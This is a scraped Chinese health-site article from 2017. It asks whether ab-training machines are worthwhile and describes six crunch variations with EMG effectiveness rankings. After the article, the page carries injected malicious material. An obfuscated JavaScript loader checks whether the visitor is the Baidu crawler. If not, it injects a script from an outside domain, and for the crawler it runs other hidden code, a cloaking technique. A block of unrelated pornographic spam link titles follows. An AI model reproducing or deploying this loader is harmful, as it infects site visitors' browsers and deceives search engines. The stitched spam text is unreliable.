當前位置:首頁 > 健康 > 運動健身 > 正文

使用練腹肌機器好不好

2017-04-17 12:36:47  來源:360常識網   熱度:
導語:想要身體鍛煉成腹肌有很多難度,卻也是很多男性進行的運動項目,鍛煉腹肌的人是非常多的,其運動的方式也是不同的,男性的運動量較大,更喜

想要身體鍛煉成腹肌有很多難度,卻也是很多男性進行的運動項目,鍛煉腹肌的人是非常多的,其運動的方式也是不同的,男性的運動量較大,更喜歡到健身房鍛煉身體,腹肌的產生就會更容易些,那么使用練腹肌機器好不好呢?這樣的鍛煉方式是非常好的,練腹肌機器有多種,能直接強化腹部的肌肉,腹肌則在較短的時間內形成。

下面我們比較6種腹肌鍛煉動作,看看哪一種能更有效地強化腹直肌。

空中蹬車

仰臥在地板上,下背部緊貼地面。雙手放在頭側,手臂打開。將腿抬起,緩慢進行登自行車的動作。呼氣,抬起上體,用右肘關節觸碰左膝,保持姿勢2秒鐘,然后還原。再用左肘關節觸碰右膝,同樣保持2秒鐘,然后慢慢回到開始姿勢。

健身球卷腹

平躺在健身球上,雙腳平放地上,雙手放在頭側,手臂打開。下頦向胸前微收,呼氣,收縮腹肌抬起上身約45度,保持2秒鐘,然后慢慢回到開始姿勢。為了保持平衡,兩腳可以多分開些。如果增加難度,可以將雙腳并起來做。

舉腿卷腹

仰臥在地板上,下背部緊貼地面。雙手放在頭側,手臂打開。雙腿抬起與上身呈90度,雙腿交叉,膝關節微屈。呼氣,收縮腹肌,抬起上身,下背部不能離地,保持2秒鐘,然后慢慢回到開始姿勢。要注意保持下頦向胸前微收。

負重卷腹

首先調整下拉配重。龍門架支點調至最高位。雙膝跪于龍門架平面一側負重卷腹

負重卷腹

,膝蓋距龍門架底座60-100cm,以頭部不碰撞龍門架為準。雙手緊握繩索拉把置于頭后,保持雙臂及腿部姿勢固定,含胸、呼氣同時收縮腹肌下拉,保持2秒鐘抬起上身,然后慢慢回到開始姿勢,重復。

反向卷腹

仰臥在地板上,下背部緊貼地面,雙手放在身軀兩側,雙腿抬起與上身呈90度,雙腿交叉,膝關節微屈。收緊腹部肌肉,然后呼氣略微抬起臀部,下背部略微離地,保持2秒鐘,然后慢慢回到開始姿勢。

傳統卷腹

仰臥在地板上,下背部緊貼地面。雙手放在頭側,手臂打開。雙腿平放在地上并屈膝。下頦向胸前微收,收縮腹肌,呼氣抬起上身,下背部不能離地,保持2秒鐘,然后慢慢回到開始姿勢。

通過肌電圖儀(EMG)測試發現,空中登車是鍛煉腹直肌最有效的練習。排名第二是舉腿卷腹,第三是健身球卷腹。研究表明,當一種訓練需要腹肌持續的穩定性和身體旋轉時,腹肌能夠產生最大的活動。由于需要在不穩定的環境下控制平衡,所以在進行卷腹訓練時,健身球卷腹要比傳統卷腹需要更多的肌肉收縮和控制。

使用練腹肌機器好不好呢?此種鍛煉方式是很專業的,練腹肌的機器可以在健身房,也可以自己購買后在家里鍛煉,機器的類型不同鍛煉方式有異常,但是掌握鍛煉技巧,每天都堅持下去則可以看到腹肌的形成,鍛煉者要注意不要急于看到效果,鍛煉方式過急也會損害身體的平衡,是不利于腹肌形成的,更會傷害到患者的心理。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
九九在线观看精品视频6| 四虎国产精品永久免费网址| 91亚洲精品麻豆| 99精品视频在线观看re| 蜜桃精品免费久久久久影院 | 亚洲欧洲精品成人久久曰影片| 久久久久久精品免费免费自慰 | 500av大全导航精品| 国产成人精品日本亚洲专| 亚洲精品中文字幕无码蜜桃| 国产免费69成人精品视频| 一色屋成人免费精品网站| 久久精品国产99精品国产亚洲性色| 日批日出水久久亚洲精品tv| 日本精品无码一区二区三区久久久 | 国产精品久久久久国产精品三级| 78成人精品电影在线播放| 国产区精品一区二区不卡中文| 国产在线午夜卡精品影院| 午夜精品久久久久久久99蜜桃| 99热这里有免费国产精品| 奇米精品一区二区三区在| 日韩精品一区二区三区影院| 亚洲国产精品日韩av不卡在线| 久久精品国产亚洲AV麻豆网站| 99在线精品视频| 久久精品国产只有精品66| 九九精品视频在线播放8| 欧洲精品一卡2卡三卡4卡乱码| 亚洲国产精品一区二区三区在线观看| 无码人妻精品一区二区三区66| 亚洲精品成人无码中文毛片不卡| 亚洲午夜精品久久久久久浪潮| 国产精品永久在线观看| 老司机无码精品A| 中文字幕久久久久久精品| 国产精品成人免费福利| 1717国产精品久久| 91精品国产91久久久久| 99国产精品视频久久久久| 亚洲av日韩av天堂影片精品|